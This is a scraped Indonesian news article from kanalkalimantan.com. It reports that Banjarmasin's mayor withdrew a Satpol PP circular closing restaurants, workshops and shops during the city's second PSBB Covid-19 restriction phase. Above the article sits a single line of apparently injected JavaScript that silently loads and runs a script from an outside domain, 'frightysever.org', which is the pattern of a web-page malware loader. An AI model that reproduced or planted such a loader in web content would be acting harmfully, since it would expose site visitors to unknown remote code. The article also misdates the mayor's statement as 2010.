(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Adanya surat edaran dari Satpol PP Kota Banjarmasin tentang penutupan sementara beberapa kegiatan usaha pada saat penerapan Pembatasan Sosial Berakala Besar (PSBB) di kota Banjarmasin akhirnya berbuntut panjang.
Wali Kota Banjarmasin H Ibnu Sina mengatakan, pihaknya sudah menginstruksikan kepada instansi terkait untuk menarik surat edaran yang bernomor 331.1/570/SatpolPP-02/V/2020 itu.
“Saya sudah perintahkan untuk menarik surat edaran itu,” ucapnya melalui video di Instagram pribadinya, Sabtu (9/5/2010) siang.
Dalam surat tersebut tertulis beberapa tempat usaha yang tidak diperbolehkan buka atau beroperasi. Antara lain restoran, kafe, rumah makan, dealer, bengkel atau toko onderdil kendaraan bermotor hingga toko elektonik seperti ponsel.
“Kami minta agar menutup sementara usahanya selama pelaksanaan PSBB Banjarmasin, ini mengacu pada Perwali Nomor 33 Tahun 2020 tentang Pedoman Pelaksanaan PSBB dalam rangka percepatan penanganan,” ucap Ichwan.
Pihaknya siap mengerahkan petugas Satpol PP untuk menutup paksa tempat usaha yang tak mengindahkan surat edaran tersebut.
Menurut Ibnu, hal yang tertuang dalam surat edaran memang belum saatnya untuk dikeluarkan. Karena, saat ini pihaknya masih dalam masa pembahasan revisi beberapa Peraturan Wali Kota (Perwali) yang akan diterapkan dalam pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) tahap II ini.
“Karena saat ini kita masih melakukan rapat teknis terkait Perwali untuk diterapkan dalam perpanjangan PSBB kali ini,” ungkapnya.
Ia menuturkan, dalam waktu dekat Perwali tersebut akan seger disahkan untuk diterapkan dalam PSBB tahap II tersebut. Paling tidak, Ibnu memastikan, Perwali itu bisa diselesaikan pada hari ini.
Menurutnya, jika Perwali tersebut sudah disahkan, akan ada informasi lebih lanjut terkait peraturan apa saja yang tertera didalamnya dan harus ditaati oleh masyarakat. “Nanti akan ada informasi lebih lanjut terkait perpanjangan penerapan PSBB di Kota Banjarmasin ini,” pungkasnya.
Sebelumnya, Plt Kepala Satpol PP Ichwan Noor Chalik menyampaikan kehadiran surat itu untuk menindaklanjuti Perwali Kota Banjarmasin Nomor 33 Tahun 2020 tentang pedoman pelaksanaan PSBB tahap II dalam rangka percepatan penanganan Covid-19. Jajarannya meminta agar para pelaku usaha untuk menutup sementara usahanya selama pelaksanaan PSBB Banjarmasin.
Selain itu, ia juga mangatakan akan mengerahkan petugas Satpol PP untuk menutup paksa tempat usaha yang tidak mengindahkan surat edaran tersebut. “Insya Allah dalam waktu dekat kita akan giat untuk memantau tempat usaha yang patuh atau tidak,” tandas Ichwan. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.